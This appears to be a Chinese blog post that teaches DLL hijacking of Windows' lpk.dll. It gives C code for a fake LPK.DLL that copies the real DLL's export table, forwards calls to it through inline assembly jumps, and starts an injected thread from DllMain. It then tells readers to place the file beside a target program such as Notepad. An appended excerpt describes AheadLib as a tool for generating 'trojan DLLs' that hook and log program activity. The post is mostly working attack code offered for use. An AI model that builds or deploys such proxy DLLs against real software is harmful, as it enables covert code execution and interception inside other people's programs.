DLL劫持技术详解(lpk.dll)

我们要模拟写一个LPK.DLL,它与系统目录下的LPK.DLL导出表相同,并能加载系统目录下的LPK.DLL,并且能将导出表转发到真实的LPK.DLL

1、构造一个与系统目录下LPK.DLL一样的导出表
2、加载系统目录下的LPK.DLL
3、将导出函数转发到系统目录下的LPK.DLL上
4、在初始化函数中加入我们要执行的代码

首先是定义导出函数

  1. #pragma comment(linker, "/EXPORT:LpkInitialize=_AheadLib_LpkInitialize,@1")  
  2. #pragma comment(linker, "/EXPORT:LpkTabbedTextOut=_AheadLib_LpkTabbedTextOut,@2")  
  3. #pragma comment(linker, "/EXPORT:LpkDllInitialize=_AheadLib_LpkDllInitialize,@3")  
  4. #pragma comment(linker, "/EXPORT:LpkDrawTextEx=_AheadLib_LpkDrawTextEx,@4")  
  5. //#pragma comment(linker, "/EXPORT:LpkEditControl=_AheadLib_LpkEditControl,@5")  
  6. #pragma comment(linker, "/EXPORT:LpkExtTextOut=_AheadLib_LpkExtTextOut,@6")  
  7. #pragma comment(linker, "/EXPORT:LpkGetCharacterPlacement=_AheadLib_LpkGetCharacterPlacement,@7")  
  8. #pragma comment(linker, "/EXPORT:LpkGetTextExtentExPoint=_AheadLib_LpkGetTextExtentExPoint,@8")  
  9. #pragma comment(linker, "/EXPORT:LpkPSMTextOut=_AheadLib_LpkPSMTextOut,@9")  
  10. #pragma comment(linker, "/EXPORT:LpkUseGDIWidthCache=_AheadLib_LpkUseGDIWidthCache,@10")  
  11. #pragma comment(linker, "/EXPORT:ftsWordBreak=_AheadLib_ftsWordBreak,@11")  
LPK.DLL比较特殊,在导入表中有一项不是函数是数据,因此数据这部分要单独处理。核心代码如下:

  1. EXTERNC void __cdecl AheadLib_LpkEditControl(void);     
  2. EXTERNC __declspec(dllexportvoid (*LpkEditControl[14])() = {AheadLib_LpkEditControl};     
LpkEditControl这个数组有14个成员,如上定义即可,后面我们还需要将真正的数据复制过来。
1.加载系统目录下的LPK.DLL。关键: 使用LoadLibrary方式加载系统目录下的LPK.DLL。加载完成后就要实现导出函数的转发了

  1. inline BOOL WINAPI Load()  
  2.     {  
  3.         TCHAR tzPath[MAX_PATH];  
  4.         TCHAR tzTemp[MAX_PATH * 2];  
  5.           
  6.         GetSystemDirectory(tzPath, MAX_PATH);  
  7.         lstrcat(tzPath, TEXT("\\lpk"));  
  8.         m_hModule=LoadLibrary(tzPath);  
  9.         if (m_hModule == NULL)  
  10.         {  
  11.             wsprintf(tzTemp, TEXT("无法加载 %s,程序无法正常运行。"), tzPath);  
  12.             MessageBox(NULL, tzTemp, TEXT("AheadLib"), MB_ICONSTOP);  
  13.         };  
  14.           
  15.         return (m_hModule != NULL);   
  16.     }  
2. 获得原函数地址

  1. FARPROC WINAPI GetAddress(PCSTR pszProcName)  
  2.     {  
  3.         FARPROC fpAddress;  
  4.         CHAR szProcName[16];  
  5.         TCHAR tzTemp[MAX_PATH];  
  6.           
  7.         fpAddress = GetProcAddress(m_hModule, pszProcName);  
  8.         if (fpAddress == NULL)  
  9.         {  
  10.             if (HIWORD(pszProcName) == 0)  
  11.             {  
  12.                 wsprintf(szProcName, "%d", pszProcName);  
  13.                 pszProcName = szProcName;  
  14.             }  
  15.               
  16.             wsprintf(tzTemp, TEXT("无法找到函数 %hs,程序无法正常运行。"), pszProcName);  
  17.             MessageBox(NULL, tzTemp, TEXT("AheadLib"), MB_ICONSTOP);  
  18.             ExitProcess(-2);  
  19.         }  
  20.         return fpAddress;  
  21.     }  
3. 将我们构造的导出函数转发

  1. // 导出函数  
  2. ALCDECL AheadLib_LpkInitialize(void)  
  3. {  
  4.     GetAddress("LpkInitialize");  
  5.     __asm JMP EAX;  
  6. }  
  7. ALCDECL AheadLib_LpkGetTextExtentExPoint(void)  
  8. {  
  9.     GetAddress("LpkGetTextExtentExPoint");  
  10.     __asm JMP EAX;  
  11. }  
  12. .......................................太长了,请直接看源码附件  
4.在DLL初始化函数中加载我们要注入远程进程的代码:

  1. BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)  
  2. {  
  3.     if (dwReason == DLL_PROCESS_ATTACH)  
  4.     {  
  5.         DisableThreadLibraryCalls(hModule);  
  6.         if(Load())  
  7.         {  
  8.             //LpkEditControl这个数组有14个成员,必须将其复制过来      
  9.             memcpy((LPVOID)(LpkEditControl+1), (LPVOID)((int*)GetAddress("LpkEditControl") + 1),52);     
  10.             _beginthread(Init,NULL,NULL);  
  11.         }  
  12.         else  
  13.             return FALSE;  
  14.     }  
  15.     else if (dwReason == DLL_PROCESS_DETACH)  
  16.     {  
  17.         Free();  
  18.     }  
  19.     return TRUE;  
  20. }  
5.测试,在Init中加入测试代码,把lpk复制到待测试软件同目录下,比如我们的记事本,notepad


源码下载


  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
一、简介   AheadLib 是用来生成一个特洛伊DLL的工具,用于分析DLL中的函数参数调用(比如记录Socket send了什么等等)、更改函数功能(随心所欲了:)、更改界面功能(比如在Hook里面生成一个按钮,截获事件等等)。 二、使用   1.用 AheadLib 打开要模拟的 DLL,生成一个 CPP 文件。   2.用 Visual Studio 6.0/.NET 建立一个 DLL 工程,把这个 CPP 文件加入到项目中。   3.使用 Release 方式编译,生成的 DLL 将和原来的 DLL 具有一模一样的导出函数,并且能顺利把这些函数转发到原来的函数中。   4.AheadLib 还可以生成 Hook 代码,用于截取当前进程的所有消息,这样就可以随心所欲地处理各种消息了 (修改第三方程序界面功能的好助手)。 三、备注   1.如果导出函数过多,在 Visual Studio 6.0 中,如果出现编译错误,请在项目属性关闭与编译头功能。   2.如果是 C++ 、C __stdcall、C __fastcall 的方式导出的话,生成的函数声明将会还原成原代码级别(可能需要修改才能编译,比如导出C++类的情况)。此时使用 __declspec(dllexport) 导出 ——不能指定导出序号。   3.如果是 NONAME 或者 C _CDECL 方式导出(比如 DEF 导出,大多数Windows DLL都是这种情况,比如WS2_32等等),则使用#pragma comment(linker, "/EXPORT:...)导出,且指定导出序号。   4.如果系统中没有 DbgHelp.dll,将无法识别 C++ 模式的导出。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值